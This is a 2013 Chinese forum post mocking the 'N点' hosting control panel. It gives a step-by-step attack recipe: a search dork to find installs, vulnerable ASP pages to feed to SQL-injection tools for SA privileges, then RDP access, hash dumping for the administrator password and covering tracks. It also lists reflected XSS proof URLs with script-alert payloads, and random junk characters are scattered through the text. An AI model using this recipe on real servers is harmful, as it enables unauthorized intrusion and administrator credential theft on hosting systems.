不得不说N点实在是一个破东西
- \3 r1 \3 C5 k- Z" l9 R就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂
7 O1 v4 p6 E; z, ^ ~好吧 抱怨一下就行了 接下来关键的时候到了; Q1 e) w$ ~) ]
首先百度搜索关键字：inurl: (mmdatabase.asp)
5 ^4 O7 C$ a6 `9 y我随便列举一个： www.xxxx.com3 { f% `2 u4 W0 d) Z7 B
修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1
+ o$ a4 q# B8 E, t0 X( s扔入NBSI 或者啊D等各种傻逼工具后# |- p) t% D+ x* B+ [
你们会看到是SA权限
+ s! B L% T# a: G6 o- I l果断3389 上去 hash得到administrator密码' s+ _: p7 J" Z5 b& A
擦屁股走人~% W7 u' V. \7 G5 D: R% @ m
经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的1 o9 _5 E3 q7 X& E4 c/ [/ h
# O8 i* d! Y; R5 d
再附上其他几个漏洞页面# `) o8 {0 C& P8 S; A X# ^: f
SQL：( Z- N3 _. a2 B7 n* d! a# a8 V: i, [
http://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=1, _" {4 o# O% C- Y- v$ }- a
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11
5 x1 e9 K/ v. j' `' nhttp://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9
/ }6 a5 q) F. G V3 u- A; q. b* Phttp://www.xxxxxx.com:80/Style/vhosting.asp?classID=2$ h) H W3 }% P! k/ s2 i
XSS证明：# b9 H V$ h; D7 [, r6 E# t9 @+ W
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
) M$ d8 J/ L2 d( }& d4 A& q0 C3 d# ahttp://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”
2 i0 K- ^( O3 f2 l3 F/ I3 J4 Lhttp://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
6 t3 {6 Q( c4 P+ N# @ q由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜
) B# l# h0 M8 A还是星外吧 你们懂的" o" i7 F6 x l
作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
8 A8 C& r3 Z% E9 VPS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉
( D: R( P6 C1 }. ]3 h——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对